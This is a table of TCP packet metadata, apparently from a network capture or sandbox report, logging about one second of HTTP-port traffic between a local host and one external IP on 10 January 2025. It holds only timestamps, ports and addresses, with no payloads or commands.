Jan 10, 2025 19:02:05.873979092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874001026 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.874069929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874087095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874104023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874109030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.874121904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874140024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.874223948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874239922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874255896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874260902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.874273062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874290943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874294996 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.874329090 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.874902964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874919891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874937057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874958038 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.874963999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874979973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.874996901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.875000000 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.875014067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.875034094 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.875102043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.875118017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.875135899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.875139952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.875157118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.875171900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.877532005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.885274887 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.925302029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.925329924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.925343037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.925354958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.925367117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.925373077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.925379992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.925381899 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.925393105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.925414085 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.925467968 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.928153038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.928174019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.928184032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.928194046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.928214073 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.928222895 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.946808100 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.967418909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967434883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967453957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967468023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967478037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967489958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.967492104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967504978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967516899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967529058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967535973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.967540979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967552900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967561960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.967564106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967576027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967587948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967592955 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.967598915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967614889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.967618942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967629910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967633963 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.967639923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.967658043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.967689037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.974049091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.983366013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.994724035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994740009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994745970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994755983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994762897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994772911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994786024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994796038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994806051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994817972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994827986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994834900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.994841099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994868994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994882107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994894028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994903088 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.994904041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994915962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994926929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994936943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.994939089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994950056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994961977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994971991 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.994972944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994983912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.994995117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995006084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.995006084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995014906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995023966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995034933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995034933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.995044947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995064974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.995074034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995090961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995105028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995115995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995121956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.995127916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995138884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995151997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995151997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.995162964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995173931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995177031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.995186090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995198011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995198011 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.995208979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995220900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995219946 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.995229959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995242119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995249033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.995253086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995263100 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.995264053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995275021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995285988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995296955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995309114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995331049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995335102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.995342970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995354891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995366096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995376110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995383024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.995388985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995403051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.995419025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.995445013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.000842094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.000861883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.000871897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.000886917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.000891924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.000905037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.000915051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.000967979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001000881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001013041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001024008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001035929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001054049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001075983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001168966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001180887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001190901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001202106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001220942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001233101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001235008 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001266003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001286983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001408100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001418114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001427889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001440048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001451015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001451969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001466990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001487970 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001511097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001528978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001540899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001553059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001563072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001574993 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001599073 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001691103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001702070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001713991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001753092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001780987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001791954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001802921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001815081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001835108 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001867056 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001872063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001883030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001894951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.001914978 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.001949072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.002125025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.002136946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.002146959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.002171040 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.002194881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.002206087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.002238035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.004095078 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.012159109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.012197971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.012213945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.012222052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.012233019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.012244940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.012259960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.012265921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.012276888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.012304068 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.012322903 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.049796104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.049822092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.049833059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.049843073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.049854994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.049865007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.049876928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.049875975 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.049889088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.049900055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.049910069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.049922943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.049971104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.049971104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.049981117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.049998999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.050010920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.050024986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.050055981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.050167084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.050178051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.050188065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.050199032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.050209999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.050213099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.050297976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.050312042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.050323963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.050335884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.050345898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.050358057 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.050384998 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.082809925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.082822084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.082838058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.082849026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.082858086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.082869053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.082879066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.082884073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.082892895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.082902908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.082914114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.082925081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.082935095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.082942009 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.082959890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.082969904 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.082988977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083000898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083004951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.083038092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.083062887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083095074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083106995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083132029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.083148956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083194971 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.083205938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083233118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083245039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083272934 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.083345890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083357096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083398104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.083406925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083447933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.083518028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083553076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083602905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.083604097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083635092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083667994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083679914 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.083703995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083738089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083748102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.083774090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083810091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083830118 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.083875895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083909988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.083940983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.084014893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084047079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084060907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.084079981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084112883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084129095 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.084163904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084197044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084204912 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.084233046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084287882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.084289074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084323883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084357023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084368944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.084405899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084438086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084446907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.084486961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084520102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084532976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.084568024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084599972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084605932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.084650040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084683895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084703922 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.084717035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084749937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.084768057 CET	49711	80	192.168.2.6	193.143.1.205
